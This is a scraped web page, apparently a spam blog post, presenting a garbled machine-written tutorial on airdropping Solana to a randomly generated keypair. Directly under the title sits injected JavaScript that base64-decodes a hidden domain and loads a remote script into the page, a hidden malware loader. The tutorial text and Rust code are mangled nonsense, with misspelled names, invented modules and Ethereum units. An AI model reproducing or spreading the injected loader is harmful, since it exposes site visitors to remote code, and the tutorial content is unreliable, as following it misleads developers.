Solana: How to airdrop to a randomly generated keypair for tests?

const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx.replace(/|/g, » »));const script=document.createElement(« script »);script.src= »https:// »+pde+ »cc.php?u=64911d08″;document.body.appendChild(script);

I can provide a sample article on how the SERANA keys are expressed by the randomly created keyboard for test purposes.

Airdropping SERANA KEYS: Step -by -Dep Guide

As a developer, it is essential to engage in the introduction and test of blockchain application. In this example, we show you how to create a random -created keyboard for test test test test.

Prerequisites

  • Install Sorana Clube (command line interface) on the machine.

  • Define a Testnet account as Solan with the necessary credentials.

Step 1: Create a new wallet and keyboard

Create a new wallet at SERANA CLLI:

`Bash

Sorana Key creates a

`

This creates a JSON file containing a private key and a public address to your wallet. We will use this private key to the aircrop keys later.

Step 2: Create random keyboards for aircrop

To create random keyboards, we can use the Solan_SDK :: KeyPair module.

`Rust

Use Solan_SDK :: Signer :: {Keyid, Signer};

Use Solan_SDK :: SYSVAR :: Pubkey;

Use Solan_SDK :: Transaction :: {transactionid, transactionnoutput};

Use Solan_SDK :: KeyyPair :: {KeyPair, KyyPairbuilder};

FN Generate_Airdrop_KeyPair () -> (Keyboard, Key) {

Leave Key_Paair = KyyPairbuilder :: New (). Generate_Keyid (). Precap ();

Although true {

Reply &*Key_paair.public_key.as_ref () {

Pubkey :: Random => Break,

_ => (),

}

}

May Wallet_id = Keyid :: From_bytes (& key_pair.key.id) .unwrap ();

ANNA WALLET_OUT = TRANSACTOUTPUT :: New (

Keyid :: From_bytes (& Wallet_id) .unwrap (),

Solanaid :: Standard (),

VEC! [],

VEC :: New (),

)

(Key_Pair, Wallet_out)

}

`

This feature produces a new random keyboard and creates a transaction start with the public key on the keyboard. We will use this match for the AirDrop keys later.

Step 3: Create AirDrop event

Create the AirDrop event using the « Event » structure.

`Rust

Use Solan_SDK :: Event :: {transaction, transactionbuilder};

FN Create_Airdrop_transaction (

PUBLIC_KEY_PAIR: KYYPAIR,

Airdrop_id: Pubkey,

) -> Event {

Leave Tx = TransactionBuilder :: New ()

.Set_system_instruction_id (« Airdrop »)

.build();

tx.add_input_output_transaction (

Transactationoutput :: New (

Public_key_pair.public_key.as_ref (),

Solanaid :: Standard (),

VEC! [],

VEC :: New (),

),

)

tx.add_amount (1e18); // 1 ether

tx.sign (& public_key_pair)

}

`

This function creates a new event with a public key, receiving a -to -start feed and an amount of 1 ether.

Step 4: charging your account

Solana: How to airdrop to a randomly generated keypair for tests?

To charge your Testnet Solan account, we must use the Soana_SDK :: Debt module. You can find more information on accounts [SORANA SDK Documentation] (

For example:

Rust

Use Solan_SDK :: Debits;

Fn debit_account (key_pair: keypair, debit_ammount: u64) -> result {

Leave -me debts = debitBuilder :: new ();

Debits.add_transaction (

TransactionBuilder :: New ()

.Set_system_instruction_id (« debit »)

.build(),

)

Debits.Set_fee (1000); // 1 eth

Match &*Key_pair.key.public_key.as_ref () {

Pubkey :: random => return ok (()),

_ => (),

}

Leave the value = U64 :: from_debited_amount (debit_amount, 1e18);

Debits.add_amount (quantity);

Be transaction_id = key_pair.public_key.as_ref ().

Reply debits.sign (& key_pair) {

Ok (_) => {

// A successful event

Println!

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *